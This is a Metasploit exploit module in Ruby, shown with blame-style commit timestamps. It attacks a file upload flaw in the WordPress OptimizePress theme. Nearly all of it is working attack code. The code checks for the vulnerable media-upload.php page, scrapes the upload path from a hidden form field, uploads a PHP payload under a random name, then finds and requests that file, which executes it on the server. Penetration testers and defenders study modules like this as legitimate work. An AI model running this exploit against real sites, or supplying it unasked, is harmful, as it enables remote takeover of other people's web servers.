metasploit-framework/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb

148 lines
4.7 KiB
Ruby
Raw Normal View History

2013-12-02 21:43:41 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2013-12-02 21:43:41 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2013-11-30 20:51:56 +00:00
require 'msf/core'
2013-12-02 21:43:41 +00:00
require 'uri'
2013-11-30 20:51:56 +00:00
class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
2013-12-02 21:43:41 +00:00
include Msf::Exploit::FileDropper
2013-11-30 20:51:56 +00:00
def initialize(info = {})
super(update_info(info,
2013-12-02 22:30:01 +00:00
'Name' => 'WordPress OptimizePress Theme File Upload Vulnerability',
2013-11-30 20:51:56 +00:00
'Description' => %q{
2013-12-02 21:43:41 +00:00
This module exploits a vulnerability found in the the Wordpress theme OptimizePress. The
vulnerability is due to an insecure file upload on the media-upload.php component, allowing
an attacker to upload arbitrary PHP code. This module has been tested successfully on
OptimizePress 1.45.
2013-11-30 20:51:56 +00:00
},
'Author' =>
2013-12-02 21:43:41 +00:00
[
'United of Muslim Cyber Army', # Vulnerability discovery
'Mekanismen' # Metasploit module
],
2013-11-30 20:51:56 +00:00
'License' => MSF_LICENSE,
'References' =>
2013-12-02 21:43:41 +00:00
[
2014-10-02 21:03:31 +00:00
[ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ],
2014-10-03 15:13:18 +00:00
[ 'WPVDB', '7441' ]
2013-12-02 21:43:41 +00:00
],
2013-11-30 20:51:56 +00:00
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['OptimizePress', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 29 2013'
2013-12-02 21:43:41 +00:00
))
register_advanced_options(
[
OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])
])
2013-11-30 20:51:56 +00:00
end
def check
uri = target_uri.path
res = send_request_cgi({
2013-12-02 21:43:41 +00:00
'method' => 'GET',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
2013-11-30 20:51:56 +00:00
})
2013-12-02 21:43:41 +00:00
if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
return Exploit::CheckCode::Appears
2013-11-30 20:51:56 +00:00
end
2013-12-02 21:43:41 +00:00
return Exploit::CheckCode::Safe
2013-11-30 20:51:56 +00:00
end
def exploit
uri = normalize_uri(target_uri.path)
#get upload filepath
2013-12-02 21:43:41 +00:00
print_status("#{peer} - Getting the upload path...")
2013-11-30 20:51:56 +00:00
res = send_request_cgi({
'method' => 'GET',
2013-12-02 21:43:41 +00:00
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
2013-11-30 20:51:56 +00:00
})
2013-12-02 21:43:41 +00:00
unless res and res.code == 200
2013-11-30 20:51:56 +00:00
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
end
2013-12-02 21:43:41 +00:00
if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/
file_path = $1
else
2013-11-30 20:51:56 +00:00
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
end
#set cookie
2013-12-01 08:06:41 +00:00
cookie = res.get_cookies
2013-11-30 20:51:56 +00:00
filename = rand_text_alphanumeric(8) + ".php"
#upload payload
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
2013-12-02 21:43:41 +00:00
post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")
2013-11-30 20:51:56 +00:00
2013-12-02 21:43:41 +00:00
print_status("#{peer} - Uploading PHP payload...")
2013-11-30 20:51:56 +00:00
n_data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
2013-12-02 21:43:41 +00:00
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'),
2013-11-30 20:51:56 +00:00
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => n_data,
'headers' => {
'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php"
},
'cookie' => cookie
})
2013-12-02 21:43:41 +00:00
unless res and res.code == 200
2013-11-30 20:51:56 +00:00
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
end
2013-12-02 21:43:41 +00:00
print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...")
2013-11-30 20:51:56 +00:00
#get path to payload
res = send_request_cgi({
'method' => 'GET',
2013-12-02 21:43:41 +00:00
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
2013-11-30 20:51:56 +00:00
})
2013-12-02 21:43:41 +00:00
unless res and res.code == 200
2013-11-30 20:51:56 +00:00
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
end
payload_url = ""
2013-12-02 22:24:21 +00:00
if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/
2013-12-02 21:43:41 +00:00
payload_url =$1
else
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload")
2013-11-30 20:51:56 +00:00
end
2013-12-02 21:43:41 +00:00
begin
u = URI(payload_url)
rescue ::URI::InvalidURIError
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'")
2013-11-30 20:51:56 +00:00
end
2013-12-02 21:43:41 +00:00
register_files_for_cleanup(File::basename(u.path))
print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...")
send_request_cgi({
2013-11-30 20:51:56 +00:00
'method' => 'GET',
2013-12-02 21:43:41 +00:00
'uri' => u.path
2013-11-30 20:51:56 +00:00
})
end
end